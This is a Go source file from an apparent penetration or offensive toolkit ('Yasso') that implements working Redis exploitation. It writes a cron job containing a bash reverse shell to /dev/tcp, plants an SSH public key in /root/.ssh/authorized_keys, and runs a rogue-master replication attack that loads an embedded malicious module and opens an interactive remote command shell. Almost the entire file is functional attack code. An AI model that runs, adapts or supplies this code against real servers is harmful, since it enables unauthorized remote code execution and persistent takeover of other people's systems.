package redis

import (
	config2 "Yasso/config"
	"Yasso/core/logger"
	"Yasso/core/plugin"
	"Yasso/pkg/exploit/config"
	"bufio"
	"context"
	_ "embed"
	"errors"
	"fmt"
	"github.com/go-redis/redis/v8"
	"io"
	"net"
	"os"
	"path/filepath"
	"strconv"
	"strings"
	"sync"
	"time"
)

//go:embed static/exp.so
var payload []byte

func ExploitRedis(exploits config.Exploits, method int, rebound, filename string, Listen string, soPath string) {
	var conn net.Conn
	var err error
	var status bool
	switch method {
	case 1: // redis写定时计划
		if exploits.Pass == "" {
			conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
				Hostname: exploits.Hostname,
				Port:     exploits.Port,
				Timeout:  1 * time.Second,
			}, "", "")
		} else {
			conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
				Hostname: exploits.Hostname,
				Port:     exploits.Port,
				Timeout:  1 * time.Second,
			}, exploits.User, exploits.Pass)
		}
		if err != nil || status == false {
			logger.Fatal("Redis auth has an error")
			return
		}
		redisCron(conn, rebound)
	case 2: // redis 写key
		if exploits.Pass == "" {
			conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
				Hostname: exploits.Hostname,
				Port:     exploits.Port,
				Timeout:  1 * time.Second,
			}, "", "")
		} else {
			conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
				Hostname: exploits.Hostname,
				Port:     exploits.Port,
				Timeout:  1 * time.Second,
			}, "", exploits.Pass)
		}
		if err != nil || status == false {
			logger.Fatal("Redis auth has an error")
			return
		}
		redisKey(conn, filename)
	case 3:
		client := initRedisClient(exploits.Hostname, exploits.Port, exploits.Pass)
		var lhost string
		var lport int
		if Listen != "" && len(strings.Split(Listen, ":")) == 2 {
			lhost = strings.Split(Listen, ":")[0]
			lport, err = strconv.Atoi(strings.Split(Listen, ":")[1])
		}
		soWrite(client, lhost, lport, soPath)
	default:
		logger.Fatal("not found redis exploit method")
		return
	}
}

func test(conn net.Conn) (cron bool, ssh bool, err error) {
	var reply string
	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
	if err != nil {
		return false, false, err
	}
	reply, err = plugin.RedisReply(conn)
	if err != nil {
		return false, false, err
	}
	if strings.Contains(reply, "OK") {
		ssh = true
	}
	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
	if err != nil {
		return false, ssh, err
	}
	reply, err = plugin.RedisReply(conn)
	if err != nil {
		return false, ssh, err
	}
	if strings.Contains(reply, "OK") {
		cron = true
	}
	return cron, ssh, nil
}

func redisCron(conn net.Conn, ReboundAddress string) bool {
	c, _, err := test(conn)
	if err != nil {
		logger.Fatal("redis may be not write")
		return false
	}
	if c {
		status, err := cronWrite(conn, ReboundAddress)
		if err != nil {
			logger.Fatal("write rebound shell address failed")
			return false
		}
		if status {
			logger.Info("write rebound shell address success")
			return true
		} else {
			logger.Fatal("write rebound shell address failed")
		}
	} else {
		logger.Fatal("write rebound shell address failed")
	}
	return false
}

func redisKey(conn net.Conn, filename string) bool {
	_, k, err := test(conn)
	if err != nil {
		logger.Fatal("redis may be not write")
		return false
	}
	if k {
		status, err := keyWrite(conn, filename)
		if err != nil {
			logger.Fatal("write public key into /root/.ssh/ failed")
			return false
		}
		if status {
			logger.Info("write public key into /root/.ssh/ success")
			return true
		} else {
			logger.Fatal("write public key into /root/.ssh/ failed")
		}
	} else {
		logger.Fatal("write public key into /root/.ssh/ failed")
	}
	return false
}

func cronWrite(conn net.Conn, ReboundAddress string) (bool, error) {
	var (
		remote = strings.Split(ReboundAddress, ":")
		flag   = false
		reply  string
		host   string
		port   string
	)
	if len(remote) == 2 {
		host, port = remote[0], remote[1]
	} else {
		return false, errors.New("remote host address is not like 192.160.1.1:4444")
	}
	_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
	if err != nil {
		return false, err
	}
	reply, err = plugin.RedisReply(conn)
	if err != nil {
		return false, err
	}
	if strings.Contains(reply, "+OK") { // redis可写定时计划任务
		// 存在定时计划写入
		_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
		if err != nil {
			return false, err
		}
		reply, err = plugin.RedisReply(conn)
		if err != nil {
			return false, err
		}
		// 数据库设置成功
		if strings.Contains(reply, "+OK") {
			// 写入定时计划任务
			_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
			if err != nil {
				return false, err
			}
			reply, err = plugin.RedisReply(conn)
			if err != nil {
				return false, err
			}
			if strings.Contains(reply, "+OK") {
				_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
				if err != nil {
					return false, err
				}
				reply, err = plugin.RedisReply(conn)
				if err != nil {
					return false, err
				}
				if strings.Contains(reply, "OK") {
					logger.Info("save corn success")
					flag = true
				}
			}
			// 恢复原始的dbfilename
			_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
			if err != nil {
				return false, err
			}
			reply, err = plugin.RedisReply(conn)
			if err != nil {
				return false, err
			}
			if strings.Contains(reply, "OK") {
				logger.Info("restore the original dbfilename")
			}
		}
	}
	return flag, nil
}

func keyWrite(conn net.Conn, filename string) (bool, error) {
	var flag = false
	_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
	if err != nil {
		return false, err
	}
	reply, err := plugin.RedisReply(conn)
	if err != nil {
		return false, err
	}
	if strings.Contains(reply, "OK") {
		_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
		if err != nil {
			return false, err
		}
		reply, err := plugin.RedisReply(conn)
		if err != nil {
			return false, err
		}
		if strings.Contains(reply, "OK") {
			key, err := readKeyFile(filename)
			if err != nil {
				return false, err
			}
			if len(key) == 0 {
				return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
			}
			_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
			if err != nil {
				return false, err
			}
			reply, err = plugin.RedisReply(conn)
			if err != nil {
				return false, err
			}
			if strings.Contains(reply, "OK") {
				// 保存
				_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
				if err != nil {
					return false, err
				}
				reply, err = plugin.RedisReply(conn)
				if err != nil {
					return false, err
				}
				if strings.Contains(reply, "OK") {
					flag = true
				}
			}
			// 恢复原始的dbfilename
			_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
			if err != nil {
				return false, err
			}
			reply, err = plugin.RedisReply(conn)
			if err != nil {
				return false, err
			}
			if strings.Contains(reply, "OK") {
				logger.Info("Restore the original dbfilename")
			}
		}
	}
	return flag, nil
}

func readKeyFile(filename string) (string, error) {
	file, err := os.Open(filename)
	if err != nil {
		return "", err
	}
	defer file.Close()
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		text := strings.TrimSpace(scanner.Text())
		if text != "" {
			return text, nil
		}
	}
	return "", err
}

func soWrite(client *redis.Client, lHost string, lPort int, soPath string) {
	// 设置so文件存放路径
	var dest string
	if soPath == "" {
		dest = "/tmp/net.so"
	} else {
		dest = soPath
	}
	rexec(fmt.Sprintf("slaveof %v %v", lHost, lPort), client)
	logger.Info(fmt.Sprintf("slaveof %v %v", lHost, lPort))
	dbfilename, dir := getInformation(client)
	filenameDir, filename := filepath.Split(dest)
	rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
	rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
	// 做监听
	listenLocal(fmt.Sprintf("%v:%v", lHost, lPort))
	// 重置数据库
	reStore(client, dir, dbfilename)
	// 加载so文件
	s := rexec(fmt.Sprintf("module load %v", dest), client)
	if s == "need unload" {
		logger.Info("try to unload")
		rexec(fmt.Sprintf("module unload system"), client)
		logger.Info("to the load")
		rexec(fmt.Sprintf("module load %v", dest), client)
	}
	logger.Info("module load success")
	// 循环执行命令
	reader := bufio.NewReader(os.Stdin)
	for {
		var cmd string
		fmt.Printf("[redis-rce]» ")
		cmd, _ = reader.ReadString('\n')
		cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
		if cmd == "exit" {
			cmd = fmt.Sprintf("rm %v", dest)
			run(fmt.Sprintf(cmd), client)
			rexec(fmt.Sprintf("module unload system"), client)
			logger.Info("module unload system break redis-rce")
			break
		}
		receive(run(fmt.Sprintf(cmd), client))
	}
	os.Exit(0)
}

func initRedisClient(host string, port int, pass string) *redis.Client {
	rdb := redis.NewClient(&redis.Options{
		Addr:     fmt.Sprintf("%v:%v", host, port),
		Password: pass, // no password set
		DB:       0,    // use default DB
	})
	return rdb
}

func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
	defer wg.Done()
	buf := make([]byte, 1024)
	for {
		time.Sleep(1 * time.Second)
		n, err := c.Read(buf)
		if err == io.EOF || n == 0 {
			logger.Info("master-slave replication process is complete")
			return
		}
		switch {
		case strings.Contains(string(buf[:n]), "PING"):
			_, _ = c.Write([]byte("+PONG\r\n"))
			//Send("+PONG")
		case strings.Contains(string(buf[:n]), "REPLCONF"):
			_, _ = c.Write([]byte("+OK\r\n"))
			//Send("+OK")
		case strings.Contains(string(buf[:n]), "SYNC"):
			resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
			resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
			rep := []byte(resp)
			rep = append(rep, payload...)
			rep = append(rep, []byte("\r\n")...)
			_, _ = c.Write(rep)
			//Send(resp)
		}
	}
}

func rexec(cmd string, client *redis.Client) string {
	args := strings.Fields(cmd)
	var argsInterface []interface{}
	for _, arg := range args {
		argsInterface = append(argsInterface, arg)
	}
	//Send(cmd)
	val, err := client.Do(context.Background(), argsInterface...).Result()
	return check(val, err)
}

func check(val interface{}, err error) string {
	if err != nil {
		if err == redis.Nil {
			logger.Fatal("key is not exist")
			return ""
		}
		logger.Fatal(fmt.Sprintf("%v", err.Error()))
		if err.Error() == "error loading the extension. Please check the server logs." {
			return "need unload"
		}
		os.Exit(0)
	}
	switch v := val.(type) {
	case string:
		return v
	case []string:
		return "list result:" + strings.Join(v, " ")
	case []interface{}:
		s := ""
		for _, i := range v {
			s += i.(string) + " "
		}
		return s
	}
	return ""
}

func run(cmd string, client *redis.Client) string {
	ctx := context.Background()
	val, err := client.Do(ctx, "system.exec", cmd).Result()
	return check(val, err)
}

func receive(str string) {
	str = strings.TrimSpace(str)
	fmt.Println(fmt.Sprintf("%v", str))
}

func getInformation(client *redis.Client) (string, string) {
	r := rexec("config get dbfilename", client)
	if !strings.HasPrefix(r, "dbfilename") {
		return "", ""
	}
	dbfilename := r[11 : len(r)-1]
	d := rexec("config get dir", client)
	if !strings.HasPrefix(d, "dir") {
		return "", ""
	}
	dir := d[4 : len(d)-1]
	return dbfilename, dir
}

func listenLocal(address string) {
	var wg = &sync.WaitGroup{}
	wg.Add(1)
	addr, err := net.ResolveTCPAddr("tcp", address)
	if err != nil {
		logger.Fatal("resolve tcp address failed")
		os.Exit(0)
	}
	listen, err := net.ListenTCP("tcp", addr)
	if err != nil {
		logger.Fatal("listen tcp address failed")
		os.Exit(0)
	}
	defer func(listen *net.TCPListener) {
		err := listen.Close()
		if err != nil {
			return
		}
	}(listen)
	logger.Info(fmt.Sprintf("start listen in %v", address))
	c, err := listen.AcceptTCP()
	if err != nil {
		logger.Fatal("accept tcp failed")
		os.Exit(0)
	}
	go masterSlave(wg, c)
	wg.Wait()
	_ = c.Close()
}

func reStore(client *redis.Client, dir, dbfilename string) {
	success := rexec("slaveof no one", client)
	if strings.Contains(success, "OK") {
		logger.Info("restore file success")
	}
	rexec(fmt.Sprintf("config set dir %v", dir), client)
	rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
}